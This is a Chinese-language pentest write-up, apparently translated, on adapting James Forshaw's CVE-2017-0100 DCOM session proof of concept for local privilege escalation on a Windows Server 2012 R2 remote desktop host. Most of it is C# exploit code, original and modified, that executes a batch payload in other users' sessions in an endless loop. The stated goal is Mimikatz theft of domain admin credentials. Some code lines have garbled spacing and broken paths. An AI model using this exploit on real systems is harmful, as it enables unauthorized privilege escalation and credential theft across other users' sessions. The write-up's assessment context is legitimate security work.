近期,我在进行一项安全评估的过程中遇到了一个麻烦。这是某个组织的一台远程桌面服务器,安装的是Windows Server 2012 R2系统,但是我手中的用户账号权限却非常低。由于我此前也进行过大量的安全评估和测试,因此我清楚地知道如果我能够将这个用户账号的权限提升为服务器的本地管理员,那么我就可以使用Mimikatz(Windows密码抓取神器)来窃取域名管理员的凭证数据了。

跟我一起进行这项安全审查任务的是我的同事Chris Myers,当时我们几乎用尽了脑海中所能想到的一切方法,但是问题依旧没有解决。但就在我们打算放弃的时候,CVE-2017-0100进入了我们的视线之中,而这个漏洞正好就是我们所需要的东西。从理论上来说,这个漏洞将允许我们利用任意用户权限并通过一个活动会话来在远程桌面服务器中执行payload。

Windows Server 2012 R2的提权过程解析-RadeBit瑞安全

这个漏洞的发现者以及PoC的提交者都是James Forshaw,PoC使用了会话标记和DCOM Activator并允许用户通过其他已登录的用户会话来执行任意进程。在对原始的PoC代码进行了分析之后,发现我们仍然需要根据自己目前所面对的情况对他提供的漏洞利用代码进行修改。

(1)确定漏洞利用代码所支持的payload类型,并修改payload的识别与执行方式。

下面给出的是原始代码:

Console.WriteLine("Creating Process in Session {0}after 20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server = (IHxHelpPaneServer) Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
Uri target = newUri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe"));
server.Execute(target.AbsoluteUri);

在进行了深入分析之后我们发现,代码中最重要的一个目标参数是一个指向可执行文件的路径地址,所以我们首先尝试的是Casey Smith发布的payload:Regsvr32.exe。但是,我们仍然无法让IHxHelpPaneServer服务器的执行函数来接收我们所提供的参数。

因此,我们打算在本地磁盘中保存一个小型.bat文件,并放在一个所有用户都可以正常访问的路径之下,即“C:TEMP”。下面是我们修改后的代码:

Console.WriteLine("Creating Process in Session {0}after 20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server = (IHxHelpPaneServer) Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
Uri target = new Uri("C:TEMPtesting.bat");
server.Execute(target.AbsoluteUri);

(2)在每一个会话中执行漏洞利用代码。

原始的PoC代码会收集主机中每一个会话的会话ID,但最终只会在一个会话中执行漏洞利用代码。下面给出的是原始PoC代码:

try
{
    int current_session_id = Process.GetCurrentProcess().SessionId;
    int new_session_id = 0;
    Console.WriteLine("Waiting For a Target Session");
    while(true)
    {
        IEnumerable < int > sessions = GetSessionIds().Where(id => id != current_session_id);
        if(sessions.Count() > 0)
        {
            new_session_id = sessions.First();
            break;
        }
        Thread.Sleep(1000);
    }
}

仅仅是在第一个记录下的会话中执行代码还远远不够,我们所面临的情况要求我们能够在任意用户权限和会话进程中执行代码。为了实现这一目标,我们只需要在收集到的会话信息(IEnumerable对象sessions)中随机抽取一个会话,然后用这个会话来执行我们的payload即可。由于随机选择的固有特性,你可能会遇到用同一用户会话执行两次代码的情况,但考虑到时间有限,我们选择接受这种情况。

下面给出的是我们修改后的代码:

try
{
    intcurrent_session_id = Process.GetCurrentProcess().SessionId;
    int new_session_id = 0;
    Console.WriteLine("Waiting For a Target Session");
    while(true)
    {
        IEnumerable < int > sessions = GetSessionIds().Where(id => id != current_session_id);
        if(sessions.Count() > 0)
        {
            Random rnd = new Random();
            int r = rnd.Next(sessions.Count());
            new_session_id = sessions.ElementAt(r);
            break;
        }
        Thread.Sleep(1000);
    }
}

(3)保证漏洞利用代码可以持续运行,直到我们手动终止进程为止…

原始的漏洞利用代码只会运行一次,运行完毕后便会自动退出。为了解决这个问题,我们只需要将IHxHelpPaneServer执行函数写在一个while循环里面就可以了。

下面给出的是原始代码:

try
{
    intcurrent_session_id = Process.GetCurrentProcess().SessionId;
    int new_session_id = 0;
    Console.WriteLine("Waiting For a Target Session");
    while(true)
    {
        IEnumerable < int > sessions = GetSessionIds().Where(id => id != current_session_id);
        if(sessions.Count() > 0)
        {
            new_session_id = sessions.First();
            break;
        }
        Thread.Sleep(1000);
    }
    Console.WriteLine("Creating Process in Session {0} after20secs", new_session_id);
    Thread.Sleep(20000);
    IHxHelpPaneServerserver = (IHxHelpPaneServer) Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
    Uri target = newUri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe"));
    server.Execute(target.AbsoluteUri);
}
catch (Exception ex)
{
    Console.WriteLine(ex);
}

下面给出的是我们修改后的代码:

try
{
    intcurrent_session_id = Process.GetCurrentProcess().SessionId;
    int new_session_id = 0;
    Console.WriteLine("Waiting For a Target Session");
    while(true)
    {
        IEnumerable < int > sessions = GetSessionIds().Where(id => id != current_session_id);
        if(sessions.Count() > 0)
        {
            Random rnd = new Random();
            int r = rnd.Next(sessions.Count());
            new_session_id = sessions.ElementAt(r);
            Console.WriteLine("Creating Process in Session {0} after20secs", new_session_id);
            Thread.Sleep(20000);
            IHxHelpPaneServer server = (IHxHelpPaneServer) Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
            Uri target = new Uri("C:TEMPtesting.bat");
            server.Execute(target.AbsoluteUri);
        }
        Thread.Sleep(60000);
    }
}
catch (Exception ex)
{
    Console.WriteLine(ex);
}

总结

虽然我们对代码的修改可能不是很完善,但是我们通过对JamesForshaw所提供的PoC进行修改并实现了在WindowsServer 2012 R2上的提权。最终,我们成功地在远程桌面服务器中拿到了任意用户权限下的shell,而这种权限也就意味着我们能够将手中用户账号的权限提升为域名管理员。

* 参考来源:inspired-sec